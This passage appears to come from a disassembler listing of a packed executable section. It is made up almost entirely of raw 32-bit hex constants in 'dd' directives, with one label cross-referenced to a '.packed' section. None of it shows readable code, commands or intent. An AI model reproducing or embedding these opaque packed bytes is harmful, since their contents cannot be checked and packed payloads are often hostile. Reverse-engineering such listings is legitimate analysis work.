		dd 0FF5BBC58h, 1049DF2Bh, 6FA932D1h, 3AADF0FCh,	13A2F0CFh
		dd 7DBBE2F5h, 8A5AD69Eh, 0E80ACBE6h, 0DEAFFEF3h, 4496EC97h
		dd 10953B01h, 0AAFD4556h, 0C91242Eh, 0BD37A9BAh, 0E888D03Fh
		dd 0D7B988C8h, 4F10898Fh, 937C55AEh, 925FE2BBh,	0C4AE3116h
		dd 406EEE2Fh, 0E008EF5Bh, 0E44E7ED7h, 0C10C0A7h, 8D129D36h
		dd 0F64B0AFCh, 77B45EC0h, 93459D04h, 0E1E64035h, 0FC8D2C12h
		dd 0BBF64B7Dh, 9178B54Fh, 0BCB5084Ah, 1A2AA244h, 2E751322h
		dd 9C1115Fh, 4859B37Eh,	3E957C17h, 89CA97B1h, 42D74912h
		dd 0DE373267h, 0C9E4107Bh, 73AAD418h, 199BABE5h, 0AA532027h
		dd 6D2D1844h, 0AAF34B0Ch, 0C843A338h, 0DC5550E0h, 86D4FE44h
		dd 0C59416EDh, 1E52E236h, 1E50E45Ah, 27FED168h,	74BE510Ch
		dd 57A78A9Ch, 0B25F25C2h, 6A983190h, 49D6527Bh,	647E54D9h
		dd 0CAABFFF2h, 0A02DC57Fh, 9762ACF8h, 0C84377C6h, 0A06CFFB4h
		dd 2E798C14h, 88D78421h, 0BF5C121Eh, 0A2EBF353h, 9A3B6AA2h
		dd 0D646FD32h, 0FEAA4710h, 0D248BFD7h, 0A47DAD08h, 0B3EB1B81h
		dd 4EC93EDEh, 0C7C971BAh, 27610640h, 185D25EBh,	9D04CAC9h
		dd 0F5EB5C76h, 51BFF81Eh, 19446BEDh, 1890813h, 4A7DCAAEh
		dd 6BED80E8h, 0D8ACE0C4h
		dd 2FE2B1D7h, 0FC8B9CADh, 505BF274h, 9740447Fh,	3BE7CE14h
		dd 28AF7E65h, 899248D0h, 29FB0C4Eh, 0CB4ABE03h,	0DDE62ABh
		dd 0B7E3EC75h, 101377F8h, 66AF0BEBh, 2BBF1BF9h,	2BB8F74Eh
		dd 0A8942C75h, 0C8020A79h, 15EBA813h, 383D2D81h, 744BA42Dh
		dd 0D483C8D4h, 835BA21Dh, 839484ECh, 4FE69673h,	0D113330h
		dd 0EB14E002h, 11D7951Bh, 30E58099h, 0F2400948h, 0EBA08C27h
		dd 225E81Eh, 0F6916E85h, 8928F707h, 443E9E0h, 0DFC6129Dh
		dd 831F5DD1h, 7C0D12F6h, 77301B7Dh, 0A8FC2A36h,	621A88B6h
		dd 0D41219EEh, 0FB396592h, 9D30D9DCh, 27C436D4h, 0D2D892FDh
		dd 9E858499h, 0DA42E39Eh, 64F82803h, 0B8CC1907h, 86CF7DE5h
		dd 377F29F9h, 4B748809h, 537F9F4Ch, 7408091Ah, 28BB8354h
		dd 1450F33h, 0A155EBE4h, 4313030Bh, 5114ADAh, 9842612h
		dd 8A072806h, 0A2D0B84h, 426690E8h, 0B4045713h,	0A33C8579h
		dd 2A3BC05h, 5983E508h,	4534EEEAh, 0D84E8E26h, 0C0BD1380h
		dd 3D6401C8h, 0D71432C2h, 3224AC59h, 867C306Fh,	0F9AB789Fh
		dd 0D120333h, 1849ECB4h, 0F030D1F7h, 8A6BEB23h,	0DDAE4A52h
		dd 3F0CDD0Eh, 8018138Ch, 0C96D81D8h, 7E68925h, 0DCAC7CCh
		dd 0BFF26AC3h, 0A3FEB85Fh, 80490A09h, 0AA2101CDh, 0A8204EFBh
		dd 996CDF85h, 0CD950845h, 3FC7A5BFh, 0DF777FA3h, 0DB42E842h
		dd 0E8C88472h, 0C8A2F3E2h, 0C82F7C55h, 0C80410E1h, 6C094418h
		dd 0F3025B45h, 51D8258Ah, 338D179Eh, 1927F809h,	12F77BCCh
		dd 97E2ABC0h, 165023C8h, 0C6E29482h, 1A2718ECh,	0F41F94F9h
		dd 272CB301h, 32FE493Ah, 0A2FF2D64h, 273C3402h,	81D64061h
		dd 0F8DA100Eh, 7B5CB9B2h, 0FF5FC469h, 0F411DA0Dh, 0B41BEE0Dh
		dd 0ECCB89FCh, 0F44F3078h, 1BC83662h, 93EC3325h, 36F7B4EAh
		dd 774BC888h, 48E1C710h, 4619F2BDh, 0E5B57FF9h,	28E79266h
		dd 2D830293h, 7479D91Ch, 1665FF95h, 0C1E9CCADh,	20EF209Dh
		dd 0E82A3201h, 38E6BACCh, 7A49A5FBh, 0C1E0BD8Dh, 0CBA713CBh
		dd 0EEE30F10h, 2F24454Fh, 6ACB90EAh, 4D768D01h,	6C2F5154h
		dd 0F9F75A5Fh, 44563E27h, 1AF897BDh, 0C42F4AEFh, 458F431Dh
		dd 6CA9AB84h, 9451208Ah, 8BD05D6Eh, 72F7B285h, 5629915Dh
		dd 0A6B6CA2h, 1D15A3AFh, 0E4352139h, 52EB2C79h,	0BF4EF95Bh
		dd 4175B645h, 378D30B2h, 9D65384Dh, 89955FA7h, 132DE5A1h
		dd 0F7EBB4A1h, 1469D189h, 0A5FFF71Ch, 15CE0FD1h, 0C8D72470h
		dd 0E991E009h, 2EE1F222h, 0EAD12ACh, 0C7023F01h, 515D0389h
		dd 0F795A30h, 0B4D27292h, 0F913D11Eh, 55C51444h, 7FE910B8h
		dd 1EABF0ECh, 42FE17D4h, 78D666F2h, 7EC23351h, 59555A28h
		dd 184088A4h, 2EF84B74h, 0DDF25E60h, 2F1C898Eh,	2EAC39FFh
		dd 5963FB3Bh, 609703Dh,	60E8107Eh, 0F4BF1C7Fh, 0A461514Dh
		dd 0C02DDEFh, 99B81188h, 7C295292h, 9E2A8D8Bh, 0EB0D93FAh
		dd 66EBB456h, 0C4F268Ah, 0D274AF6h, 4DFC95A9h, 9209F952h
		dd 64BFF206h, 3B6D02BCh, 0F3FFD7D5h, 7BB4B810h,	0F01AF916h
		dd 0E3FF171Dh, 4FE1A40Ah, 1483B63Eh, 8C092774h,	4F9CFD02h
		dd 4F5B23D7h, 0C33090CAh, 0CA448509h, 0B566E8EAh, 0AB0A5C22h
		dd 5146DE9Ah, 75AA2B15h, 2025FB8Dh, 0AA3864AAh,	0F59228F3h
		dd 665C8269h, 8411B60Fh, 0D8EB8925h, 0B786C5A6h, 57255AD9h
		dd 6D15D617h, 377EC5AAh, 3B1409E8h, 7C130C15h, 1ACCEA2Ch
		dd 2A448295h, 0BC1655E9h, 96A8425h, 0B65A928Bh,	37262B36h
		dd 450B728Dh, 0F248AC02h, 659DA0C5h, 430A8D7Dh,	0A83B22A1h
		dd 5984863Ch, 7825C24Fh, 0CCC9E913h, 528A7B69h,	277CEC54h
		dd 0BE05928Dh, 8080EDB3h, 157340F9h, 0A0200ACEh, 0C2A50F06h
		dd 0C3E00AD3h, 3FAED08Bh, 9E1FE19Eh, 0BE10B6E2h, 0B2D068FFh
		dd 701CF70Ch, 0C0213179h, 84E88D7h, 460C405Eh, 624F0647h
		dd 1DC52612h, 231FFC15h, 40F6A797h, 2E5E9DD6h, 705860D1h
		dd 0A50743DEh, 0FFCB62ECh, 33692F7Dh, 75F8D8ABh, 9BEA254Ah
		dd 0D50D2760h, 929F0D1Ch, 0D24AD7C9h, 75084DD3h, 25A7A00Ch
		dd 0F24EF53Fh, 3B014A80h, 84084228h, 471AD597h,	19953311h
		dd 3E29AA2Fh, 80407218h, 0B7843174h, 0F527AE54h, 64DF0A32h
		dd 0F006D7EDh, 7429C1C0h, 99EC3712h, 524C72EBh,	0E8291417h
		dd 0ABB34F4Bh, 554A0BD4h, 41672C04h, 2442649Ah,	0A3517DEFh
		dd 0B1EEDFC9h, 0F2FA569Dh, 27A017FFh, 66E5B0FCh, 3DBE431h
		dd 5E7C57C2h, 0B0C77F72h, 0BA1121A1h, 90B9AAB4h, 0B00DFED3h
		dd 7D243F0h, 5C6B08B9h,	0FA236451h, 0EC6BBF89h,	0C2F67EF1h
		dd 52AB0B5Eh, 1264ADC9h, 0D9FF0215h, 0CEE53FC4h, 7030103Bh
		dd 0F7D798B5h, 0C93828E7h, 270D599Bh, 0FE2743FCh, 72E8F020h
		dd 0B732EA6Fh, 0E3DBA621h, 0F9A386F0h, 5A34E6F6h, 4106CD31h
		dd 0C1082529h, 34AA2B01h, 8311054Dh, 0B482AEC2h, 8779FDF8h
		dd 0A44B566Bh, 0D195AD9Dh, 50BCD72Fh, 168753B5h, 0C462AD01h
		dd 525610C9h, 0D3E3BBAEh, 4E89A24Fh, 534774ABh,	38F3AFB1h
		dd 0E82FFF76h, 0CA88DEA1h, 0C4496804h, 8F022C10h, 1A22010h
		dd 32025A3Ch, 812FC99h,	0D75A4CD4h, 0F841ACECh,	1A7F10CEh
		dd 741109A6h, 5A768324h, 0D235BB16h, 32EB0205h,	660C0B08h
		dd 0F1DEF727h, 0DDFE1F12h, 0BD14ED3Ch, 1CC93EBh, 2BCBCAAAh
		dd 774B9903h, 8B79FC3Ah, 0EB3F4226h, 1358690Dh,	2F030942h
		dd 8122EBA6h, 111A3D81h, 806CC981h, 0B314C39Ah,	8C960247h
		dd 2BA60C93h, 575E9F83h, 0CB860A8h, 0D6816648h,	0BDE28BBh
		dd 1D996652h, 9AEB01C9h, 644C5E27h, 0C8FC80Ah, 0D6AD4399h
		dd 5344530Bh, 0DEFDCAD8h, 521CEED7h, 10883E02h,	230B0159h
		dd 0A46DA820h, 1141855Dh, 24B1D002h, 225A6403h,	981A77F7h
		dd 91267409h, 4201C464h, 113AEB24h, 0DA261303h,	0CBE6FF2Fh
		dd 522505A9h, 8F9BCE4Eh, 8DEC18EBh, 0F6B10D69h,	0CCD94B0h
		dd 8266AB8Eh, 14421603h, 182AB16Fh, 24029009h, 3E21661Ch
		dd 15C80310h, 654802C5h, 5AB04808h, 59F354A8h, 39050DCDh
		dd 92108EAFh, 0F2FDDE2Eh, 0CB5A00D1h, 0B999BC7h, 0C2031F8Ah
		dd 17F0A2C2h, 0B8251FCFh, 0FA798062h, 0C8830648h, 19B940E0h
		dd 0ADF32BE0h, 662EFFE5h, 0C4E2D3C5h, 0F4EECC70h, 59E8D5D2h
		dd 0FF182336h, 3197FD9Eh, 0EED2D7E2h, 339ED8Fh,	4E412ADh
		dd 0EFB2084Bh, 0E4072A40h, 2D697DFh, 2045975Eh,	55769021h
		dd 920943BAh, 8D20900Bh, 5FC922BEh, 2F8ADD99h, 0EC3C1009h
		dd 0AEF04EF8h, 9F057D9Dh, 4811F7ABh, 297C8413h,	233822FEh
		dd 6A294394h, 826FDF01h, 0B23BC7E8h, 15545741h,	0ACD0DC3Ah
		dd 0C9D49D1Ch, 0AE145752h, 8BD0FC8Ch, 3FECF3C9h, 0CA5681EBh
		dd 54C4A24h, 32B842E0h,	2CAC2CAh, 25C4CA3Bh, 0EC241DFCh
		dd 49E4535Ah, 0E656322Ah, 0FE4B21B0h, 5D6289A5h, 315D8989h
		dd 1448C7CAh, 9B86A289h, 428B43A1h, 0C25A0420h,	38865BEAh
		dd 0D37D8ADAh, 0A8C72FC8h, 9CA1F7A2h, 88F8070Fh, 0D72504C7h
		dd 905EC413h, 9D5FC09Eh, 0BA8EB402h, 0F6AAA2BBh, 1504BF8Ah
		dd 5F74E2F8h, 0D28E5AEAh, 0FC92A051h, 454C7FE2h, 0A067D327h
		dd 0DE4757A5h, 0AA510F64h, 878EC720h, 47B0EF97h, 64123403h
		dd 378A5382h, 1889C0A1h, 4751BC56h, 4DA4DAE8h, 8DEC97DAh
		dd 0FEF82ECBh, 4DF093E9h, 9F235B2Ch, 0FA371FCh,	0DC9B5FAFh
		dd 496F8AF4h, 940BC940h, 0B989409Bh, 2BA32065h,	66F0B822h
		dd 0A4EB32B4h, 471602CBh
		dd 339148E8h, 9B3B912Eh, 5717C2E8h, 4D48FB7Eh, 62A17566h
		dd 0DEB8F96h, 0B35F1192h, 5EC3F9C1h, 25409A7Ah,	79ABD534h
		dd 0A489902h, 77F08E9h,	3F65E967h, 905499BAh, 4212C030h
		dd 4ED5AE0Ah, 0F8CC8DFAh, 0D39F0651h, 9455ACB2h, 0D7DE23ECh
		dd 0DC6D11C1h, 291FBB4Bh, 750B5DA6h, 0B5DEEE38h, 0FE680648h
		dd 93BFFBBDh, 0D3FE609h, 868D13EBh, 0FE60823Ah,	0E40885FBh
		dd 4CE98502h, 558DBF01h, 895D5D2Bh, 315FFDB3h, 0FEBB10EDh
		dd 2648502Ah, 0E4CBFCC0h, 19CFAB74h, 125BE25Ah,	17AF0450h
		dd 7DB0B08Eh, 0C8411F51h, 59A6FDC6h, 608498AEh,	0C933EC58h
		dd 0B698FD10h, 59B5657Fh, 922B93FAh, 8F82CC81h,	3AA552D0h
		dd 2677363Ch, 29A35153h, 2CA010ECh, 391348EDh, 0BF92FC43h
		dd 164ABD24h, 734829C3h, 0A67CEBD0h, 8E0CFA0h, 9026412Ah
		dd 4AC7D62Dh, 7B337FCBh, 519121C5h, 7F7D480Ch, 11263385h
		dd 50037313h, 0F81C0BAEh, 315E3975h, 2EF3E76Ah,	0E864BC14h
		dd 0AC44E3A1h, 0A53E416Ch, 2BE41C85h, 4534B5ECh, 0DD20B828h
		dd 0A4042137h, 0F0262977h, 0C90BE842h, 0B57BE0EAh, 416D2DADh
		dd 90C1FD8Bh, 1027DC3Eh, 4017FAFEh, 3FC2B16h, 297FED9Fh
		dd 1CDA9E0h, 11EB02B6h,	56FC9DA7h, 53112013h, 0CBDC2013h
		dd 1079E40Ah, 711868D0h, 282EE145h, 0FD5B9B68h,	8A497E9h
		dd 7BD13020h, 0CFABD60Ah, 0A79749E0h, 0B49295A9h, 28C81224h
		dd 1185F093h, 6AF8B0F4h, 0F48D5A40h, 0FA4C83D5h, 0DF13A23Dh
		dd 3880BC19h, 4B1E95A8h, 73B9AC37h, 0FAD134BBh,	85D707FDh
		dd 9AB6EAACh, 913EEC4Bh, 0FCE825FBh, 4330E8ADh,	4964D00Bh
		dd 0FDAF5182h, 908DD21Eh, 414A8B7Fh, 0FE7E04E6h, 0B1E8B4D0h
		dd 92169638h, 6788BE1Ch, 0FED180F4h, 7627EE93h,	408C5650h
		dd 71C80146h, 0C846B8D5h, 1A71F931h, 0BA5F0CCBh, 0BD40449Fh
		dd 0C67024E6h, 79E6304Eh, 0D5417E84h, 4C32BE4Bh, 65DE5714h
		dd 0F8ABF4C4h, 425FA5C7h, 0FCCB3090h, 0D3B507F8h, 46D54980h
		dd 0B9EB27E9h, 4DA0B271h, 0B790449Fh, 357B7EC4h, 0A0E3324Eh
		dd 16146A9Eh, 0BB117539h, 86E8FF2Ch, 37AEE45Ah,	756BD856h
		dd 0A6310EB9h, 0D9CBD452h, 0E4C13CE7h, 71B726EBh, 0B1AA61Fh
		dd 1E5D8FB4h, 737B972Ah, 6D281428h, 0DBB517DBh,	8D28E2F0h
		dd 6D122445h, 405009E3h, 92729DD8h, 9F1B1148h, 0F5E90AA6h
		dd 5AD17A42h, 0E81F19ACh, 36EE4297h, 51F5ED80h,	3ADA458Dh
		dd 6B792ABDh, 8A5A70BFh, 0DC9A52D9h, 0EE27AA3Ah, 0E853FC79h
		dd 74EBBFB6h, 15A56AD4h, 0CC1C9280h, 77BC804Ah,	68C0CE5h
		dd 0E1811106h, 0F9C11AF0h, 4278E4EEh, 642160Ch,	810C093Ch
		dd 2FA03204h, 951B550Fh, 0B6A3AFFDh, 0BA92B449h, 2C79048Dh
		dd 8607FE79h, 21624B51h, 3B5EE1F3h, 9E272C88h, 212FBBD5h
		dd 55DACDDCh, 66C59D56h, 0E9B021FFh, 0D71DA0BAh, 52DED90h
		dd 66250401h, 0B272ECBFh, 0EC0C491Bh, 523A58D2h, 0FA459E03h
		dd 0D4C2EC92h, 0F85ED846h, 0B498CB0h, 0C8407438h, 7CEAF6F0h
		dd 0CBCA6B15h, 9F0F5E12h, 0BBB6E1CFh, 8C593FCBh, 3B43F092h
		dd 8BA571BFh, 32F5E0D1h, 0DA170B8Eh, 1708D68Ch,	0B877EBB8h
		dd 0A2202268h, 43CB6C69h, 0B5EB12EAh, 55FDE6EAh, 0D6D8689Dh
		dd 88C1DC10h, 0C0C72F89h, 96E80261h, 0EA5E842Ah, 5BE7B0F8h
		dd 7510B05Dh, 7F66AA1Eh, 13567B44h, 4CBC5A8Ah, 101AECD7h
		dd 831FA952h, 0E3F1A53Dh, 8A11E0Ah, 0BE1C6624h,	72AE7E27h
		dd 0B38EA55h, 0CD927F17h, 94698B75h, 2EE02500h,	12E18DFAh
		dd 572089A3h, 4C84003Eh, 0FE5D218Ah, 0D49F74C0h, 0DE7752BFh
		dd 3B747921h, 42003BFAh, 176CA230h, 0F641F2EBh,	0EA2CA752h
		dd 0E80A5040h, 0FFCF1610h, 277ABC9Eh, 2E73D7BCh, 25B89288h
		dd 3D2590C6h, 3FD51D0h,	0E80B6A2Fh, 1FA802DAh, 0E812C113h
		dd 0A1A9943Ch, 289A4D0Dh, 4BC808A3h, 94F5C9B8h,	624C860h
		dd 1C0E0ECFh, 97432128h, 8F20E692h, 6009366Ah, 12FAC601h
		dd 0FF361805h, 4EF09298h, 422BB45h, 0A30983A1h,	680B09E0h
		dd 8203D814h, 0BFA4F1E8h, 0F05A508Eh, 298B3465h, 0D5D3A85h
		dd 2E832068h, 0ACCF25BAh, 840F17C0h, 27F584FEh,	8B8A9856h
		dd 6B031F0Dh, 0CB893CC9h, 0AEA34B48h, 253D1BD7h, 0A1A6A47Fh
		dd 0C01B40E7h, 29868B3Ch, 6423C803h, 412862BAh,	0E509C800h
		dd 4CA48E1Fh, 0A1CA3045h, 0E92B1F12h, 50A38C3Ch, 1452EB2Fh
		dd 29C7461Fh, 8D960A50h, 266D27BAh, 0D46B9C3Fh,	0FF970125h
		dd 69AD2468h, 0D7953044h, 989CD433h, 0D6B112E0h, 0D148AA4h
		dd 41C60E29h, 9EB053Fh,	2C53527h, 8D9877ADh, 5189D80Dh
		dd 9F147812h, 47869014h, 0B141143h, 0C61529A1h,	35454640h
		dd 0E9B782F2h, 55308224h, 940959F4h, 0CC21D720h, 642269Ah
		dd 0BD355109h, 9C57061h, 0F248179h, 0C4104EA0h,	6D88EBE9h
		dd 0CCA12C02h, 97B76237h, 647723A9h, 84D8EA86h,	0FF96109Dh
		dd 0A0F19D89h, 198BF362h, 343244A3h, 8B514868h,	70509AE4h
		dd 74105343h, 9C43DBC3h, 15928464h, 0E8CE3553h,	0F844B2A9h
		dd 0C40EA148h, 22EE0340h, 6974C143h, 0A7D85625h, 0F086167Fh
		dd 0F4438CC1h, 10C3A35Bh, 69C2B30Ah, 8E6910C0h,	5EDB22A3h
		dd 830984E3h, 0FC0D2BFAh, 5DB36F45h, 4AD67C3Dh,	0B7F3909h
		dd 15BBC5FFh, 3A8916D4h, 0A8D77089h, 2BEA1A8Dh,	9632AF65h
		dd 683C6504h, 19ADCD35h, 65ADA56Ch, 16DF953Ch, 44753A82h
		dd 0A11A1EFDh, 52495D42h, 4F47F704h, 688889D0h,	0DF4AFEA5h
		dd 1169CDAEh, 4EDAF72Dh, 4C904035h, 0A3EE7D8Ah,	53552048h
		dd 7FD83F73h, 9CB0F188h, 1D30694Ch, 6F990341h, 605946BEh
		dd 35C2D1B4h, 0F375C6FEh, 23199C8Eh, 0BC33FC99h, 8BEA4A0Ah
		dd 5B6F4380h, 0B7E21588h, 14C12756h, 0CB620D3Bh, 2928A751h
		dd 0E7661C9Ah, 0C745A798h, 6CFD60A6h, 5A8A741Ah, 0B80D343Bh
		dd 5B55A021h, 0C69185B1h, 0A3965237h, 132AC4A1h, 0C2442050h
		dd 0C01DA951h, 42E16A08h, 4216BC1Fh, 48BAC8BEh,	16C7C880h
		dd 5A50A901h, 0EBCFCBF8h, 40BB5BD4h, 9A84BE1Dh,	599C8C7Dh
		dd 0C5902ABAh, 0A6641590h, 1D4A6409h, 72D1B964h, 6470210Ah
		dd 876C2C6Eh, 6AB26810h, 5A1EFB16h, 0B4D690B1h,	525B85B9h
		dd 6D6A1D05h, 0DD3CCEB9h, 4696A3A6h, 0B6027FD8h, 4CB6FC5h
		dd 1424A3C4h, 2B653152h, 233C2524h, 0AD0AFC05h,	64463D9Bh
		dd 0D393E4F2h, 15F4B33Bh, 214B7D0Dh, 20F51C24h,	0E7C2A14h
		dd 51CCA77h, 6FDC251Ch,	4D08CA47h, 372AA2CFh, 31187E2Bh
		dd 53B73F22h, 14A4113Dh, 0E63D43EBh, 95368796h,	0EB142807h
		dd 7EE13D7Fh, 4315912h,	72E4FF23h, 6135AA5Fh, 5306D2A9h
		dd 0CA5503F6h, 14ECEA22h, 0C9F0B698h, 94FDE85Eh, 75B25C90h
		dd 91FC1DE9h, 7C29E888h, 97189967h, 222C0614h, 7D2FF80Dh
		dd 0F09DF507h, 85907625h, 0BA010C7Dh, 102DE7F6h, 70CDA854h
		dd 8D2876B9h, 959AB239h, 0C1EE1ACh, 462C8513h, 39A767EFh
		dd 14DEBB5Fh, 9846E85Eh, 92FD6D27h, 0D59B090Fh,	0C1007644h
		dd 448D02FAh, 2F99F311h, 7F5C07B9h, 3B4EFCC4h, 197F1CC3h
		dd 2B5E6275h, 8218A648h, 307C96Bh, 78F63489h, 693CBAB6h
		dd 0A4FF4F2Bh, 0EA1607E1h, 97079FC9h, 377505E1h, 20EBA27Fh
		dd 55938903h, 0FC950400h, 8AF0E884h, 4630A218h,	0E27AFF84h
		dd 7E20761Ch, 0E96EC509h, 35530A07h, 72E2468Ch,	0BD0DD245h
		dd 454DCC0Ch, 524814ECh
		dd 4329BECCh, 7310F96Bh, 0E9A42041h, 3A750C1Fh,	0E44AA39Dh
		dd 70247B22h, 283AC285h, 8D46D103h, 3982C51h, 22ECE8EDh
		dd 0F73E5230h, 0C3B8100Ch, 48E9E044h, 74D941A3h, 0F8F20AF4h
		dd 75391511h, 17D26914h, 0CA11A128h, 2C07A348h,	0A0062061h
		dd 0A88B23B1h, 0E0C18127h, 5262B5Ch, 0BC5D2033h, 1409A2C1h
		dd 2C812AEBh, 1E7C4398h, 442D44A9h, 7C475A0Ch, 1EC12C24h
		dd 91A82161h, 40F95EF0h, 0C42EDEF6h, 0DA69D034h, 486A0970h
		dd 22C41868h, 46B7ACEEh, 893A12E8h, 0F1F3EFFEh,	9BEA7292h
		dd 0E8E431F5h, 4493D9E6h, 0ACBB21h, 0A510068Ah,	10DE465Dh
		dd 92FE903Dh, 0A6A7963h, 4DE8A363h, 89D44599h, 5EFECDCh
		dd 15512CACh, 0E5E9111h, 11412890h, 0C7D8BF25h,	0F032A105h
		dd 0B921364Bh, 868FD850h, 33ED54DFh, 9E704F94h,	45655E30h
		dd 0B50E6488h, 62B1B666h, 240C1094h
		db 4Dh
byte_515545	db 0F3h, 49h, 0F5h	; DATA XREF: .packed:0045475Co
		dd 559DE30h, 0C216C584h, 314DC204h, 0AFDF92h, 0BED44F29h
		dd 0D1F60B69h, 0E71FA0CFh, 4B393202h, 110CC80Bh, 5E2CC833h
		dd 393402FDh, 14C80B0Dh, 0EEC43511h, 18202E4Eh,	0CF213647h
		dd 3738235Bh, 0AC3BB394h, 1C2A8120h, 641FA594h,	0E42B0824h
		dd 28202F75h, 56212C47h, 2D022C79h, 0C80B3739h,	0C82E1130h
		dd 34405E18h, 0F9218E2Fh, 21C714Dh, 0BDA3930h, 441138C8h
		dd 405EBBC8h, 428E453Ch, 440F29Ch, 177D7246h, 47234490h
		dd 48BC5E90h, 3F729C83h, 234C9017h, 0BC209049h,	1D4A8150h
		dd 549017CAh, 0E2884B23h, 58405C4Ch, 0C3428E4Ch, 0F10F5CF2h
		dd 405EA4C8h, 428E4E60h, 464F285h, 1766724Fh, 38236890h
		dd 6CBC4790h, 281C3981h, 870E485h, 2F09E43Ah, 3B477420h
		dd 0B84BEA10h, 1C3C8178h, 7CE485CBh, 0ACE43D08h, 0A9BD4F2Bh
		dd 323E6A85h, 90178A22h, 0E43FC884h, 88212F68h,	46C84091h
		dd 238C435Eh, 0BC249041h, 42478690h, 94790221h,	218E430Ch
		dd 98714AE0h, 428E280Ch, 199CF2BEh, 17FA1D29h, 1FC8A090h
		dd 7A88F810h, 23A4435Eh, 0BC589020h, 682584A8h,	86F05003h
		dd 0D2334725h, 0D230A2AAh, 27F0A2ABh, 0E9497AFBh, 9A8A67Eh
		dd 518A14E8h, 0EE75A550h, 110357D2h, 1B54D20h, 89F2E880h
		dd 0AF2B1159h, 89E12B31h, 1420334Eh, 4489D023h,	0D3BF0818h
		dd 0AF4664BEh, 9E1120C8h, 8D0424B2h, 28644868h,	2C6C7C66h
		dd 201B6B81h, 0C85A4630h, 0B2491134h, 6D38041Ch, 6C2704FAh
		dd 1B16813Ch, 5464020h,	0F40844C8h, 48CD388h, 4C6888E3h
		dd 8D88D280h, 0C1235010h, 0B0085464h, 9F0258D9h, 8E5C4036h
		dd 2360908Dh, 864647Dh,	268D96Ch, 6C40365Bh, 70908D4Ah
		dd 74643923h, 78D92808h, 40361702h, 168D067Ch, 82B03491h
		dd 581E8700h, 7298A288h, 968787DEh, 78942682h, 4487CA23h
		dd 36B6328Ch, 0A2239043h, 8E329464h, 23984336h,	329C647Ah
		dd 0A0433666h, 0A4645223h, 43363E32h, 262A23A8h, 0B07C250Ch
		dd 91A09C56h, 3D83870Ah, 209446CBh, 68270155h, 0DDB96AD8h
		dd 5A9A7F7Ah, 546D923h,	0EA0BF855h, 50684EE0h, 0B30F1DDCh
		dd 46BC88E0h, 3A26F8E4h, 5963E042h, 3B2352FCh, 150ACF9Fh
		dd 95902A1Eh, 25E32DDh,	74587485h, 0C5D81035h, 0BC288682h
		dd 0D662A20Dh, 0A11123D0h, 86608B38h, 0D847784Ch, 2CDC1464h
		dd 6E9F8EE0h, 4EACCBA8h, 0A038CA60h, 3A740DC5h,	5E105510h
		dd 1A2B10A9h, 0B1222257h, 6A07940Dh, 211456A4h,	0D85F310h
		dd 0A015380Ch, 0A4118973h, 0FBA08633h, 142E72A1h, 567E7AA1h
		dd 11052A42h, 0FEA2028Ah, 920EA4D4h, 0AE3D3B8h,	28CE0D5Fh
		dd 0C840D11h, 854298D9h, 8765DCC8h, 4C591164h, 1F1977F8h
		dd 886885E9h, 0C424050Bh, 0E804C23Ch, 9AD779A3h, 898618A4h
		dd 2D9CAC01h, 69B13A83h, 0FC2C41A7h, 0C26504D3h, 0B1239C91h
		dd 8D53680Ch, 0E45DC846h, 4423015h, 787886A1h, 8A058EC8h
		dd 0E2E563EBh, 4740451h, 3B92680Ah, 815B2279h, 82084115h
		dd 3C347ACFh, 703A27C9h, 2B82DC77h, 0AA029368h,	150D6909h
		dd 0E0FE2D2Dh, 7BDBB55Eh, 0D8AB6B12h, 7C213033h, 7F394124h
		dd 0EC204919h, 3FC430E9h, 0F2AA0A88h, 243A8A41h, 2B097DCBh
		dd 9584EEF5h, 9D5C8454h, 0E275EF90h, 0D509EB27h, 5A3DE045h
		dd 0E0B5B0E8h, 428CBCB0h, 684A08BBh, 0E63D6F30h, 7C8D8BE2h
		dd 0F3E4ADE5h, 9085EE28h, 36EC424h, 0EF79068h, 0B6BFE916h
		dd 0C546498Dh, 0D291089h, 0D1DEF87Eh, 3908C80Fh, 8D9BA3C4h
		dd 2D32E416h, 155AB814h, 9F5499E4h, 0DB94AF33h,	602BE446h
		dd 0A8158D5Ch, 9FFF2211h, 13AC0D8Dh, 0A3C6FA22h, 7A9011B0h
		dd 4BA80E81h, 2B41160h,	3782D3F1h, 34957FA4h, 5960B105h
		dd 0F4781D04h, 1501E3A1h, 0BFA6824h, 29B8152Ch,	2F8F4276h
		dd 1C14B631h, 641FA557h, 0E4160814h, 18202F38h,	19211747h
		dd 18021C79h, 8541FA38h, 29456449h, 0A1F10143h,	232090AAh
		dd 41CC8850h, 5124405Ch, 1FAD528Eh, 1A0428B2h, 8EE80237h
		dd 23299017h, 0BC6F9019h, 1D54812Ah, 2B9017D2h,	31428E77h
		dd 56042CF2h, 90171272h, 8857232Dh, 415C40F3h, 0D439CA2Eh
		dd 112FC80Bh, 0F9B5C853h, 40C7E245h, 0EBFFC0A6h, 7FEF004Ch
		dd 0C13FDF7h, 74934544h, 0DDEAA277h, 0F7F18091h, 0E6111F7Fh
		dd 7FD5F17Fh, 1C481B0Fh, 206CE466h, 201BB381h, 5BA24624h
		dd 30BC60E8h, 0BF96CCB7h, 3DC295FCh, 2870ECB8h,	420D0330h
		dd 680250C8h, 4A908A3h,	27576610h, 12BBE6FCh, 353F3CE8h
		dd 52C8FE79h, 84E2B6C2h, 0E83C685Ch, 1D75DF4Fh,	0FE73A081h
		dd 0D0011012h, 194F5E6Ah, 0E4417421h, 380A606Ah, 855BC401h
		dd 626AD405h, 8542323Ch, 70A0582Fh, 8D26BDD0h, 0C400CE4h
		dd 0E464B5D4h, 8102D841h, 20DC2B41h, 0D394552Fh, 0FB5F92A2h
		dd 7D818F00h, 69E19732h, 0E8078B74h, 88F24D8Ah,	6B7BF508h
		dd 8DDBEB85h, 0A8AA16BAh, 33E0A28Ah, 1F39C10h, 2ECB261h
		dd 0DCE80376h, 96F8F257h, 0A996A0A8h, 7A57CCE9h, 0A6896DF2h
		dd 77ECADD5h, 0B37A53AFh, 6970EC7Dh, 0CAFD293Bh, 0CEE677D8h
		dd 22EA3EF9h, 969EE004h, 487B1584h, 7F2C3962h, 3D4030Bh
		dd 0DA07264Ah, 0B124DFEBh, 0D07172AFh, 3F028D61h, 0DAD0B1A8h
		dd 0DA0F454Fh, 0C4D9FFC5h, 9950A312h, 0A93BD098h, 775669D3h
		dd 39DCB785h, 86F93AF9h, 91A5F990h, 0BE66DCECh,	894DF44Ah
		dd 0ABA67A13h, 0D954EBECh, 0E4515565h, 4952FD8Eh, 488CAC65h
		dd 11400542h, 0EB655318h, 0E44D4484h, 338BAB13h, 558D5B0Ah
		dd 7EC239F6h, 6807C081h, 1195EB21h, 0D53F29EAh,	0B2F27749h
